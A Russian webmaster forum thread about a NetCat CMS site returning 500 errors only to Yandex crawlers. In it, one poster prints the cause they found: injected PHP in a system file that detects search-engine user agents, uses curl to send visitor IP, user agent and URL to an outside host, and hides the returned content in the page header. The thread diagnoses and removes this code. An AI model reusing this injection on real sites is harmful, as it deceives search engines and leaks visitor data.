apache YandexBot/3.0 500 ошибка

12
baas
На сайте с 17.09.2012
Offline
161
2325

Народ добрый вечер.

Подскажите пожалуйста по такой ситуации.

Есть сервер, работает он нормлаьно, шустро открываются страницы.

Но вот косяк с яндекс ботом и метрикой.

Пробовал .htaccess вообще убирать из сайта, эффект одинаков.

Лог апача.

141.8.142.1 - - [08/Jul/2015:19:58:20 +0400] "GET / HTTP/1.1" 500 - "-" "Mozilla/5.0 (compatible; YandexMetrika/3.0; +http://yandex.com/bots)"

130.193.48.1 - - [08/Jul/2015:19:59:50 +0400] "GET /morgo-prod/ HTTP/1.1" 500 - "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
130.193.48.1 - - [08/Jul/2015:20:01:26 +0400] "GET /shop/cart/ HTTP/1.1" 500 - "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.142.1 - - [08/Jul/2015:20:03:05 +0400] "GET /shop/cart/ HTTP/1.1" 500 - "-" "Mozilla/5.0 (compatible; YandexMetrika/3.0; +http://yandex.com/bots)"

Яндекс

Проверка ответа сервера

Код статуса HTTP: "500 Internal Server Error" ?

Время ответа сервера: 248мс
IP сайта: 2.2.1.1
Кодировка: UTF-8(unicode-1-1-utf-8, UTF8)
Размер страницы: 0Кб
Заголовки:

Date: Wed, 08 Jul 2015 16:37:53 GMT
Server: Apache
Set-Cookie: sid=1hop5hv9empo9sfqjlmsvems17; path=/; domain=loccc.net
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8

Если пройти по ссылки

http://loccc.net/robots.txt

# NetCat 4 Robots file

User-agent: *
Disallow: /install/
Disallow: /forum/
Disallow: /photogallery/
Disallow: /articles/
Disallow: /index/
Disallow: /howtoorder/
Disallow: /registration/
Disallow: /auth/
Disallow: /checkout/
Disallow: /orders/
Disallow: /*entry

Настрйоки арача пересморел, нормальные они, пользователи на сайт заходят нормально, страницы шустро открываются, но вот бот яндекса, жуть, уже не знаю что и делать.

Настройка BSD систем. (https://www.fryaha.ru) Знание сила, незнание Рабочая сила!
L
На сайте с 13.01.2011
Offline
125
#1

включи display_errors on - подставь юзер агент яндекса и проверь что выдает

http://www.rexswain.com/httpview.html

или каким то другим способом

Контакты-icq 535609 ()
K5
На сайте с 21.07.2010
Offline
209
#2
loccc.net

домен не зарегистрирован

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
Z
На сайте с 01.07.2015
Offline
0
#3

На самом деле все оказалось интереснее или нет, решать вам)

Долго грешил на ущербность нэткэт в плане кода и думал что в нем проблема, потом включил мозг и подумал, дальше начал эксперименты

Огромное спасибо Logger за ссылочку) а то пришлось бы извращаться)

Для начала я попробовал полностью вбить юзерагент яндекса, вбли...500 ошибка..

убрал все, все выдало без ошибок, потом начал убирать элементы юзерагента и смотреть что происходит, после того как я убрал почти все, я решил изменить все урлы и названия в юзерагенте т.е поменял все yandex на google :) т.к мне сказали что именно на yandex'e все ломается.

Проверил - заработало)

Далее я прописал не Yandex а -Yande и запустил...Отработало отлично!) после чего через netbeans пробежался поисков по ключевому слову yandex и вот что нашел в одном из системных файлов "cms"


if (preg_match("/yandex|rambler|mail\.ru/i", strtolower($_SERVER['HTTP_USER_AGENT'])))
{
$ch1 = curl_init("http://round.mirabella.in/blog/donor.php?sn=site.com&ra=".$_SERVER["REMOTE_ADDR"]."&ua=".urlencode($_SERVER["HTTP_USER_AGENT"])."&ru=".urlencode($_SERVER["REQUEST_URI"])."&");
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch1, CURLOPT_FOLLOWLOCATION, 1);
$template_header = str_replace('<nav class="b-head_top__menu">', '<div style="position:absolute;top:-30px;">' . str_replace("http://www.site.com", "", @curl_exec($ch1)) . '</div><nav class="b-head_top__menu">', $template_header);
}

Убрав этот зловредный код все заработало как надо...правда так и не ясно пока откуда он там появился (Пока буду грешить на netcat)

baas
На сайте с 17.09.2012
Offline
161
#4
kgtu5:
домен не зарегистрирован

Да я домен изменил в целях конфиденциальности.

Подключились прогеры для расследования инцидента, похоже что то с кодом сайта.

Чуть позже отпишусь в чем косяк был.

L
На сайте с 13.01.2011
Offline
125
#5

скорее всего это взлом - наверняка это код вируса, который у тебя на сайте возможно показывает рекламу, у меня было на одном сайте битрикс необновленном (адсенс левая) , подгружало через curl, насколько я помню именно с round.mirabella.in - ip тоже селектел. я еще написал им абузу. наверняка уже на тебе неплохо заработали ;)

Z
На сайте с 01.07.2015
Offline
0
#6

Ну не на мне, но да, там заработали похоже не плохо так т.к не понятно сколько там висел этот скрипт. Если что это Netcat последней версии:)

kxk
На сайте с 30.01.2005
Offline
970
kxk
#7

zeloras, Неткат дырявый как решето, его нужно прикрывать внешним антихак прокси (любым кто предоставляет подобные услуги).

Ваш DEVOPS
baas
На сайте с 17.09.2012
Offline
161
#8
kxk:
zeloras, Неткат дырявый как решето, его нужно прикрывать внешним антихак прокси (любым кто предоставляет подобные услуги).

Что за антихак прокси ?

kxk
На сайте с 30.01.2005
Offline
970
kxk
#9

baas, Прокси сервис для сайтов какой блокирует запросы на sql инъекции и подборы пароля и тп.

baas
На сайте с 17.09.2012
Offline
161
#10
kxk:
baas, Прокси сервис для сайтов какой блокирует запросы на sql инъекции и подборы пароля и тп.

Первый раз слышу о таких услугах.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий